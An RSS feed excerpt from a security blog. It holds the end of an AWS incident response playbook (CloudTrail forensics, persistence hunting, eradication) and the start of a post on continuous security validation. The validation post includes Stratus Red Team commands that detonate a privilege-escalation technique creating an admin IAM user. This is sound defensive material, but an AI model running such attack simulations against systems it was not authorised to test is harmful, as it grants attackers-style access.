  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq -r &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    [.eventTime, .userIdentity.arn, .requestParameters.roleArn, .sourceIPAddress] | 
    @tsv&#039; | \
  sort -k1
# Build the graph manually: which ARN called AssumeRole for which target role
# Any role not in your expected deployment automation is suspicious
</code></pre>
<h3 id="find-what-data-was-accessed">Find What Data Was Accessed</h3>
<pre><code class="" data-line=""># S3 GetObject events — shows every object the attacker read
# NOTE: S3 data events are NOT enabled by default in CloudTrail
# If you haven&#039;t pre-enabled them, this query returns nothing useful
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      bucket: .requestParameters.bucketName,
      key: .requestParameters.key,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Secrets Manager — what secrets were accessed?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      secret: .requestParameters.secretId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># KMS — what was decrypted?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=Decrypt \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      key_id: .requestParameters.keyId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<h3 id="hunt-for-persistence-mechanisms">Hunt for Persistence Mechanisms</h3>
<p>Attackers establish persistence before detonating ransomware or before exfiltrating at scale. The most common persistence mechanisms in AWS:</p>
<pre><code class="" data-line=""># New IAM users created during the incident window
aws iam list-users \
  --query &#039;Users[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[UserName,CreateDate,UserId]&#039; \
  --output table

# New IAM roles created during the incident window
aws iam list-roles \
  --query &#039;Roles[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[RoleName,CreateDate,RoleId]&#039; \
  --output table

# New IAM access keys created for existing users
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, user: .requestParameters.userName, by: .userIdentity.arn}&#039;
</code></pre>
<pre><code class="" data-line=""># Lambda functions with recent code modifications
# (Lambda is a common backdoor target — function code is easy to modify)
aws lambda list-functions \
  --query &#039;Functions[?LastModified&gt;=`2024-02-21`].[FunctionName,LastModified,Runtime]&#039; \
  --output table

# For any recently modified function — check for unexpected environment variables
aws lambda get-function-configuration \
  --function-name suspicious-function-name \
  --query &#039;{env: Environment.Variables, role: Role, handler: Handler}&#039;
</code></pre>
<pre><code class="" data-line=""># CloudFormation stacks created or modified during incident window
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateStack \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, stack: .requestParameters.stackName, by: .userIdentity.arn}&#039;

# EC2 user-data modifications (backdoor via user data on restart)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ModifyInstanceAttribute \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | select(.requestParameters | has(&quot;userData&quot;)) | {time: .eventTime, instance: .requestParameters.instanceId, by: .userIdentity.arn}&#039;
</code></pre>
<h3 id="ebpf-and-falco-evidence-if-available">eBPF and Falco Evidence (If Available)</h3>
<p>If your environment runs Falco or Cilium Tetragon (see <a href="/detection-engineering-ebpf-cloud/">detection engineering with eBPF</a>), the kernel-level telemetry from EP11 is now forensic evidence:</p>
<pre><code class="" data-line=""># Tetragon: export process execution events for the incident window
# Tetragon writes to /var/log/tetragon/tetragon.log by default
# Filter by the time window and affected pod/node

# On the affected node (or via log aggregation if you ship to a SIEM):
cat /var/log/tetragon/tetragon.log | \
  jq &#039;select(.time &gt;= &quot;2024-02-21T00:00:00Z&quot; and .time &lt;= &quot;2024-02-22T23:59:59Z&quot;) |
    select(.process_exec != null) |
    {
      time: .time,
      pod: .process_exec.process.pod.name,
      ns: .process_exec.process.pod.namespace,
      binary: .process_exec.process.binary,
      args: .process_exec.process.arguments,
      parent: .process_exec.parent.binary
    }&#039; | head -100
</code></pre>
<pre><code class="" data-line=""># Falco: pull alerts from the incident window out of your SIEM/log store
# If you&#039;re running Falco with file output:
grep &quot;2024-02-21\|2024-02-22&quot; /var/log/falco/events.json | \
  jq &#039;select(.priority == &quot;Critical&quot; or .priority == &quot;Error&quot;) |
    {time: .time, rule: .rule, output: .output, pod: .output_fields.&quot;k8s.pod.name&quot;}&#039; | \
  head -50
</code></pre>
<p>Process lineage from Tetragon (which parent process spawned which child) is often the clearest signal of container escape or lateral movement within a cluster. It shows attack paths that API-layer logging cannot reconstruct.</p>
<hr />
<h2 id="hour-1224-eradicate-and-recover">Hour 12–24: Eradicate and Recover</h2>
<h3 id="remove-persistence">Remove Persistence</h3>
<p>Work through the persistence findings from the investigation phase in order:</p>
<pre><code class="" data-line=""># Delete unauthorized IAM users created during the incident
# First: disable their access keys
aws iam list-access-keys --user-name attacker-created-user \
  --query &#039;AccessKeyMetadata[].AccessKeyId&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read key_id; do
    aws iam update-access-key --user-name attacker-created-user \
      --access-key-id &quot;${key_id}&quot; --status Inactive
  done

# Then: detach all policies, remove from groups, delete login profile, delete user
aws iam detach-user-policy --user-name attacker-created-user \
  --policy-arn arn:aws:iam::123456789012:policy/attached-policy
aws iam delete-user --user-name attacker-created-user
</code></pre>
<pre><code class="" data-line=""># Rotate ALL credentials that could have been accessed during the incident window
# Not just the initial compromise — every secret in the blast radius

# List all IAM user access keys in the affected account
aws iam list-users --query &#039;Users[].UserName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    aws iam list-access-keys --user-name &quot;${user}&quot; \
      --query &#039;AccessKeyMetadata[?Status==`Active`].{User:UserName,Key:AccessKeyId}&#039; \
      --output json
  done | jq -s &#039;flatten&#039;
# For each key: create new key → update application config → delete old key
</code></pre>
<pre><code class="" data-line=""># Remove Lambda backdoors — restore from last known-good deployment
# Do NOT patch the modified function — replace the entire deployment package
aws lambda update-function-code \
  --function-name backdoored-function \
  --s3-bucket your-code-bucket \
  --s3-key known-good/function-v1.2.3.zip

# Reset environment variables (remove anything added during incident)
aws lambda update-function-configuration \
  --function-name backdoored-function \
  --environment &#039;Variables={EXPECTED_VAR=expected_value}&#039;
</code></pre>
<h3 id="replace-compromised-instances-from-known-good-baselines">Replace Compromised Instances From Known-Good Baselines</h3>
<p>Do not patch a compromised instance and return it to production. The instance&#8217;s integrity is unknown — the attacker may have modified binaries, installed kernel modules, or altered the init system in ways that a filesystem scan won&#8217;t catch.</p>
<p>Replace from a known-good hardened image:</p>
<pre><code class="" data-line=""># Launch a replacement from a hardened baseline AMI
# If you&#039;re running a Stratum-built image pipeline, this is where it pays off:
# you have a signed, hardened, versioned AMI to replace from

aws ec2 run-instances \
  --image-id ami-known-good-hardened-baseline \
  --instance-type t3.medium \
  --subnet-id subnet-your-private-subnet \
  --security-groups sg-your-normal-sg \
  --iam-instance-profile Name=your-instance-profile \
  --tag-specifications \
    &#039;ResourceType=instance,Tags=[{Key=Name,Value=replacement-post-incident},{Key=incident-id,Value=2024-02-21}]&#039; \
  --user-data file://init-script.sh
</code></pre>
<p>If you don&#8217;t have a hardened AMI pipeline, this incident is the forcing function to build one. Rebuilding from a generic AMI means re-running your full configuration management stack and hoping nothing drifts. Rebuilding from a known-good hardened baseline means launching and verifying.</p>
<h3 id="recovery-sequence">Recovery Sequence</h3>
<pre><code class="" data-line="">dev → staging → prod

Not prod first. Not all at once.
</code></pre>
<p>Bring dev back up. Verify monitoring and alerting are functional — specifically, verify that the detection that fired during this incident still fires in dev. If you can&#8217;t reproduce the detection in dev, you don&#8217;t know if it&#8217;s working.</p>
<p>Promote to staging. Run your standard smoke tests plus whatever you added to your detection suite based on this incident.</p>
<p>Promote to prod only after staging has been clean for at least four hours.</p>
<hr />
<h2 id="the-post-incident-review">The Post-Incident Review</h2>
<p>Schedule it within 72 hours of resolution. Not a blame session — a timeline reconstruction and process improvement meeting. What to document:</p>
<p><strong>Timeline reconstruction (to the minute):</strong></p>
<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
<th>Who</th>
<th>Evidence Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Feb 21 12:47</td>
<td>Initial compromise — credential used from unexpected IP</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 12:51</td>
<td>First AssumeRole to production role</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 13:15</td>
<td>S3 ListBuckets on customer-data bucket</td>
<td>Attacker</td>
<td>CloudTrail data events</td>
</tr>
<tr>
<td>Feb 21 21:30</td>
<td>GuardDuty fires: UnauthorizedAccess:IAMUser/AnomalousBehavior</td>
<td>GuardDuty</td>
<td>GuardDuty finding</td>
</tr>
<tr>
<td>Feb 21 21:35</td>
<td>On-call engineer acknowledges alert</td>
<td>SRE</td>
<td>PagerDuty</td>
</tr>
<tr>
<td>Feb 21 21:50</td>
<td>Incident declared, channel created</td>
<td>IR lead</td>
<td>Slack</td>
</tr>
</tbody>
</table>
<p><strong>Key metrics to measure and improve:</strong></p>
<ul>
<li><strong>Mean Time to Detect (MTTD):</strong> Time between initial compromise and first alert</li>
<li><strong>Mean Time to Declare (MTTDeclare):</strong> Time between first alert and formal incident declaration</li>
<li><strong>Mean Time to Contain (MTTC):</strong> Time between declaration and credential revocation + network isolation</li>
<li><strong>Blast radius:</strong> Accounts, services, data classifications confirmed in scope</li>
</ul>
<p><strong>Regulatory notification requirements (know these before the incident):</strong></p>
<ul>
<li>GDPR: 72 hours from discovery to supervisory authority notification</li>
<li>HIPAA: 60 days from discovery to individual notification; 60 days to HHS for breaches affecting 500+ individuals</li>
<li>CCPA: &#8220;expedient&#8221; notification to individuals; no fixed statutory window for regulator notification but AG guidance suggests 72 hours</li>
<li>SEC (public companies): 4 business days from determining the incident is &#8220;material&#8221;</li>
<li>Check your state breach notification laws — 50 states, 50 different windows</li>
</ul>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Revoking a credential mid-operation breaks running jobs.</strong> If the compromised IAM role is used by production services, the deny-all policy will immediately break those services. Have a plan for emergency credential rotation before you act — either a separate role for legitimate services or a maintenance window. The contain-vs-service-availability tradeoff is a real one; make it deliberately, document it in the incident log.</p>
<p><strong>CloudTrail data events are not enabled by default.</strong> Management events (API calls like CreateUser, RunInstances, AssumeRole) are enabled. Data events (S3 GetObject, Lambda function invocations, DynamoDB item-level activity) must be explicitly enabled and cost extra. If you discover during an incident that you needed S3 data events and didn&#8217;t have them, you cannot reconstruct what data the attacker accessed. Enable them before the incident.</p>
<p><strong>Forensic snapshots cost money.</strong> EBS snapshot storage is not free, and snapshotting every volume on every compromised instance adds up. Have a pre-approved IR budget that includes forensic snapshot costs — getting financial approval in the middle of an active incident is a delay you don&#8217;t want.</p>
<p><strong>Legal hold means don&#8217;t delete anything.</strong> Once legal is involved, no evidence can be destroyed without legal clearance. That includes the compromised EC2 instances, the forensic snapshots, the log exports, and the incident Slack channel. Set legal-hold tags on all IR artifacts immediately and don&#8217;t clean up until legal explicitly says to.</p>
<p><strong>The attacker may still be in.</strong> Containment removes one credential and one network path. If the attacker established multiple persistence mechanisms before you detected them, containment is the beginning of the eradication phase, not the end. Assume they&#8217;re still in until the persistence hunt is complete.</p>
<p><strong>Multi-account blast radius compounds quickly.</strong> AssumeRole chains can cross account boundaries. A compromised role in account A that can assume a role in account B means the blast radius spans both accounts, and CloudTrail logging in account A does not show what the attacker did after assuming the role in account B. Pull CloudTrail from every account in the blast radius.</p>
<hr />
<h2 id="quick-reference-ir-checklist-first-24-hours">Quick Reference: IR Checklist — First 24 Hours</h2>
<h3 id="hour-01-declare-and-scope">Hour 0–1: Declare and Scope</h3>
<ul>
<li>[ ] Declare incident — do not investigate quietly</li>
<li>[ ] Notify: CISO, Legal, on-call SRE lead</li>
<li>[ ] Create incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-descriptor</code></li>
<li>[ ] Start timestamped incident log (shared doc, assign scribe)</li>
<li>[ ] Query CloudTrail: last 1–2 hours of suspected principal activity</li>
<li>[ ] Check GuardDuty for active findings</li>
<li>[ ] Answer: active or historical? blast radius? data at risk?</li>
</ul>
<h3 id="hour-14-preserve-then-contain">Hour 1–4: Preserve, Then Contain</h3>
<ul>
<li>[ ] <strong>FIRST:</strong> Snapshot all volumes on compromised EC2 instances</li>
<li>[ ] <strong>FIRST:</strong> Export CloudTrail logs for incident window to IR evidence directory</li>
<li>[ ] <strong>FIRST:</strong> Export VPC Flow Logs for incident window</li>
<li>[ ] Revoke compromised IAM credential (disable key or attach deny-all policy)</li>
<li>[ ] For role sessions: use <code class="" data-line="">DateLessThan</code> condition to invalidate active sessions</li>
<li>[ ] Apply isolation security group to compromised EC2 instances (do NOT terminate)</li>
<li>[ ] Cordon compromised Kubernetes nodes (do NOT delete pods before forensic capture)</li>
<li>[ ] Collect pod forensics: spec, env vars, process list, network connections</li>
</ul>
<h3 id="hour-412-investigate">Hour 4–12: Investigate</h3>
<ul>
<li>[ ] Trace AssumeRole chain from compromised principal — build the lateral movement graph</li>
<li>[ ] Query S3 GetObject, GetSecretValue, Decrypt events for data access scope</li>
<li>[ ] Hunt persistence: new IAM users/roles, new access keys, Lambda modifications</li>
<li>[ ] Check EC2 user-data modifications, new CloudFormation stacks</li>
<li>[ ] Pull Tetragon/Falco evidence if available — process lineage and connection logs</li>
<li>[ ] Cross-account check: pull CloudTrail from every account reached via AssumeRole</li>
</ul>
<h3 id="hour-1224-eradicate-and-recover_1">Hour 12–24: Eradicate and Recover</h3>
<ul>
<li>[ ] Delete all unauthorized IAM users/roles/access keys created during incident</li>
<li>[ ] Rotate ALL credentials in the blast radius (not just the initial compromise)</li>
<li>[ ] Remove Lambda backdoors — replace entire deployment package, reset environment</li>
<li>[ ] Replace compromised instances from known-good hardened AMI (do not patch-in-place)</li>
<li>[ ] Recover: dev → staging → prod. Verify detection fires in dev before promoting.</li>
<li>[ ] Declare all-clear only after monitoring shows clean in prod for 4+ hours</li>
</ul>
<h3 id="ongoing-regulatory-and-communication">Ongoing: Regulatory and Communication</h3>
<ul>
<li>[ ] Log discovery time — regulatory clocks (GDPR 72h, HIPAA 60d) start at discovery</li>
<li>[ ] Legal hold on all IR artifacts — do not delete without legal clearance</li>
<li>[ ] Schedule post-incident review within 72 hours of resolution</li>
<li>[ ] Update this playbook before the next incident</li>
</ul>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> only works if it has been rehearsed before the incident — the ChangeHealthcare attack showed that nine days of undetected dwell time transforms a credential theft into a national healthcare disruption</li>
<li>Preserve before you contain: snapshot volumes and export logs before revoking credentials or isolating instances — forensic evidence destroyed during hasty containment cannot be reconstructed</li>
<li>The contain-vs-evidence tension is real and deliberate: isolated EC2 instances remain available for forensic access via IR bastion; terminated instances do not</li>
<li>CloudTrail data events (S3 GetObject, Lambda invocations) are not enabled by default — if you need them during an incident and haven&#8217;t pre-enabled them, your data access scope is unknown</li>
<li>Recovery sequence is dev → staging → prod, and you verify detection fires in dev before promoting — if you can&#8217;t reproduce the detection that caught the original incident, you don&#8217;t know if it still works</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This playbook is reactive. You run it after something goes wrong. EP13 is about making it proactive — running structured attack simulations against your own infrastructure on a regular cadence so the first time your team works through this sequence is not during an actual breach. Continuous purple team testing means your IR team has muscle memory for the playbook, your detection tooling is validated against real attack patterns, and your blast radius assumptions are tested before an attacker tests them for you.</p>
<p>Get EP13 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&amp;linkname=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-incident-response-playbook-24-hours%2F&#038;title=Cloud%20Incident%20Response%20Playbook%3A%20First%2024%20Hours%20After%20a%20Breach" data-a2a-url="https://linuxcent.com/cloud-incident-response-playbook-24-hours/" data-a2a-title="Cloud Incident Response Playbook: First 24 Hours After a Breach"></a></p><p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-incident-response-playbook-24-hours/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1876</post-id>	</item>
		<item>
		<title>Continuous Security Validation: Proving Your Architecture Works</title>
		<link>https://linuxcent.com/continuous-security-validation/</link>
					<comments>https://linuxcent.com/continuous-security-validation/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 06 Jul 2026 21:32:07 +0000</pubDate>
				<category><![CDATA[Security Architecture]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Continuous Validation]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[MITRE ATT&CK]]></category>
		<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Red Team]]></category>
		<guid isPermaLink="false">https://linuxcent.com/continuous-security-validation/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span>Run continuous security validation with MITRE ATT&#038;CK-mapped attack simulations against your own infrastructure, on a schedule, instead of once a year.</p>
<p>The post <a href="https://linuxcent.com/continuous-security-validation/">Continuous Security Validation: Proving Your Architecture Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 5</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><em>Zero to Hero: Cybersecurity Architecture Masterclass, Module 6</em><br />
<a href="/ai-agents-secops-rag/">← Module 5: The Future of SecOps</a> · <strong>Module 6: Continuous Mastery</strong> · <a href="/cybersecurity-architecture-series/">All Masterclass Modules →</a></p>
<p><strong>10 min read</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Continuous security validation means running real attack techniques against your own production-equivalent environment on a schedule, not once a year during a pentest</li>
<li><code class="" data-line="">stratus-red-team</code> and Atomic Red Team execute specific, mapped MITRE ATT&amp;CK techniques against live cloud infrastructure — the same IMDSv1 exploitation, IAM privilege escalation, and lateral-movement patterns covered earlier in this masterclass, but automated and repeatable</li>
<li>A validation run that never finds anything is either proof your controls work, or proof the simulation isn&#8217;t realistic enough — treat a clean run as a question, not a victory</li>
<li>Security culture is what determines whether a finding becomes a fixed control or a Jira ticket that ages out — validation without organizational follow-through is theater</li>
<li>The Feedback Loop closes the masterclass: every module (STRIDE, IAM hardening, immutable data, AI triage) becomes a control that continuous validation actually tests, instead of a design decision nobody revisits</li>
<li>This module doesn&#8217;t introduce new architecture — it&#8217;s the mechanism that proves Modules 1 through 5 are still true</li>
</ul>
<hr />
<h2 id="start-here-run-a-real-attack-technique-right-now">Start Here: Run a Real Attack Technique Right Now</h2>
<pre><code class="" data-line=""># Install Stratus Red Team — cloud-native attack technique simulator
$ brew install datadog/stratus-red-team/stratus-red-team

# List available techniques mapped to MITRE ATT&amp;CK
$ stratus list --platform aws | grep -i iam
aws.credential-access.ec2-get-password-data
aws.privilege-escalation.iam-create-admin-user
aws.persistence.iam-create-user-login-profile

# Warm up (provisions the exact vulnerable-by-default resources
# Module 3 covered), detonate the technique, then clean up
$ stratus warmup aws.privilege-escalation.iam-create-admin-user
$ stratus detonate aws.privilege-escalation.iam-create-admin-user
$ stratus cleanup aws.privilege-escalation.iam-create-admin-user
</code></pre>
<p>That third command actually creates an admin IAM user the way an attacker would after a privilege-escalation exploit — against your own account, on a schedule you control, so your detection pipeline either catches it or you now know precisely where the gap is. This is continuous security validation: the difference between assuming GuardDuty would catch this and knowing it does, because you just watched it happen.</p>
<hr />
<h2 id="why-an-annual-pentest-isnt-validation">Why an Annual Pentest Isn&#8217;t Validation</h2>
<p>A pentest is a snapshot, scoped to a window, executed by people who leave when the engagement ends. It tells you what was true for the systems in scope, on those specific days, against that specific team&#8217;s technique set. Everything this masterclass has covered — STRIDE-driven design changes (Module 2), IAM policy tightening (Module 3), WORM-locked backups (Module 4), AI-assisted triage (Module 5) — happens on a continuous basis, in a system that changes weekly. A control validated once in March and never tested again is a control you&#8217;re assuming still works in October.</p>
<p>Continuous security validation closes that gap by running the <em>same specific techniques</em> — not a generic scan, but named, MITRE ATT&amp;CK-mapped attack behaviors — on a recurring schedule, against infrastructure that mirrors production. The goal isn&#8217;t finding something new every time. Most runs should find nothing, because most runs are re-confirming a control that was already fixed. That&#8217;s the point: continuous validation is regression testing for security posture.</p>
<hr />
<h2 id="reading-a-clean-run-correctly">Reading a Clean Run Correctly</h2>
<p>A validation run that detonates a technique and triggers no alert is not automatically good news. It&#8217;s one of two things, and the difference matters:</p>
<pre><code class="" data-line=""> CLEAN RUN — TWO POSSIBLE EXPLANATIONS
 ───────────────────────────────────────────────────
 1. The control genuinely works.
    → GuardDuty/Tetragon/SIEM correctly detected and
      the alert pipeline correctly routed it — verify
      the alert actually fired and reached someone,
      not just that the technique &quot;should have&quot; tripped it.

 2. The simulation didn&#039;t actually exercise the real path.
    → Wrong region, wrong IAM role scope, a technique
      that&#039;s stale against current cloud provider APIs,
      or detection logic that&#039;s technically present but
      misconfigured for this specific technique variant.
</code></pre>
<p>Treat every clean run as a question — did the alert fire and get seen, or did nothing happen because nothing was really tested? Pulling the actual GuardDuty/SIEM record for the detonation timestamp and confirming a real alert exists, with the right severity, routed to the right channel, is the only way to tell these two outcomes apart. A validation program that only checks &#8220;did an incident occur&#8221; without checking &#8220;did the alert actually work&#8221; is measuring the wrong thing.</p>
<hr />
<h2 id="mapping-continuous-security-validation-back-to-the-masterclass">Mapping Continuous Security Validation Back to the Masterclass</h2>
<p>Continuous validation is most useful when it directly re-tests the specific controls this series built, not a generic attack library run for its own sake:</p>
<table>
<thead>
<tr>
<th style="text-align: left;">Module</th>
<th style="text-align: left;">Control Being Tested</th>
<th style="text-align: left;">Example Validation Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;">M2 (STRIDE)</td>
<td style="text-align: left;">Trust boundary enforcement between services</td>
<td style="text-align: left;">Attempt lateral cross-service call that should be denied</td>
</tr>
<tr>
<td style="text-align: left;">M3 (Identity Perimeter)</td>
<td style="text-align: left;">IMDSv2 enforcement, IAM least privilege</td>
<td style="text-align: left;"><code class="" data-line="">aws.privilege-escalation.iam-create-admin-user</code>, IMDSv1 credential theft simulation</td>
</tr>
<tr>
<td style="text-align: left;">M4 (Immutable Data)</td>
